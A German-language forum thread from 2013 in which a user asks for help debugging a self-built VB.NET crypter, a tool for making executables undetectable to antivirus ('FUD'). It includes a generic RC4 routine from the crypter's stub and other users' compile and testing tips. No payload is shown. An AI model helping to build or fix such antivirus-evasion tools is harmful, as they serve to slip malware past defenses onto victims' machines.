6 Antworten in diesem Thema

[Creon]

Hi!
Ich habe mich heute mit der Crypter-Materie auseinandergesetzt, mir dafür ein paar Sources runtergeladen und angeschaut. Bin dort auf einen VB Crypter gesto??en der anscheinend Runtime + Scantime kann/ist. Habe ein paar Snippets von ihm in eine eigene Version verbaut, und ihn FUD gemacht. Wenn ich jedoch die gecrypteten Dateien öffne, kommt folgende Fehlermeldung immer wieder:


Ich hab dann mal den Sourcecode original getestet, und musste aber auch da sehen, dass entweder diese Fehlermeldung kam, oder dass die Stub nicht reagiert. Wei?? jemand Rat?

//e:
Bei dem Stub kommt allerdings auch die Fehlermeldung dass die Variablen kByte und cipherby nicht verwendet werden. Hier der Sourcecode:

    Public Shared Function RC4EnDeCrypt(ByVal plaintxt As Byte(), ByVal password As Byte()) As Byte()
	    Dim k As Int32
	    Dim kByte As Byte()
	    Dim a, i, j As Int32
	    Dim cipherby As Int32
	    Dim cipher As Byte()
	    ReDim cipher(plaintxt.Length)
	    Dim sbox(256) As Int32
	    Dim temp As Int32
	    i = 0
	    j = 0
	    RC4Initialize(password, sbox)
	    For a = 0 To plaintxt.Length - 1
		    i = (i + 1) Mod 256
		    j = (j + sbox(i)) Mod 256
		    'Swap
		    temp = sbox(i)
		    sbox(i) = sbox(j)
		    sbox(j) = temp
		    'Get the output
		    k = sbox((sbox(i) + sbox(j)) Mod 256)
		    plaintxt(a) = plaintxt(a) Xor Convert.ToByte(k)
	    Next
	    Return plaintxt
    End Function

Bearbeitet von Amyntor, 24 February 2013 - 00:15 Uhr.

[Imperial]

Ich verstehe leider die Frage noch nicht so ganz.

1. Es scheint so, als wenn hier irgendwelche Windows Funktionen benutzt werden, die es unter 64 Bit Systemen nicht gibt.
Du könntest einfach mal testen, ob sich der Crypter unter einem 32 Bit System starten lässt.

2. Dann schau einfach mal, wo du die beiden Variablen deklariert hast und ob diese überhaupt irgendwann gebraucht werden.

[Creon]

Okay, danke schonmal. Ich lad mir gleich 'ne 32-Bit Version-iso runter und versuchs auf der VM. Hast du vielleicht ICQ, für "Live-Support"?

// 32-Bit Version hat bei mir VMWare gestreikt.. hat vielleicht jemand eine VM mit Windows 32-bit auf der er freundlicherweise den Crypter mal testen könnte?

///
Wenn ich die Stub debugge kommen dauernd Fehlermeldungen, von wegen "konnte nicht in ....exe kopiert werden, da sie von einem anderen Prozess verwendet wird."

Bearbeitet von Amyntor, 24 February 2013 - 17:12 Uhr.

[Imperial]

Schau mal in deine Prozesse.
Wenn du die Stub ausgeführt hast und der Prozess läuft, dann kann der Compiller die .exe nicht erstellen.

[Creon]

Steht immer nur dass IO.Exception irgend einen Fehler aufweist weil es nicht auf die stub.exe zugreifen kann, weil anscheinend ein anderer Prozess darauf zugreift.. Wüsste aber wirklich nicht welcher Prozess das sein soll.

[PaulaAbdul]

hab ne 32bit version auf vm, schick mir nochmal die exe

[Zero0150]

Du kannst in der Compiler-Einstellung vorgeben für welches System dein Programm compiliert werden soll. Generell empfielt sich für dein vorhaben 32bit/x86 auszuwählen. Dann sollte es nicht mehr zu diesem Problem kommen.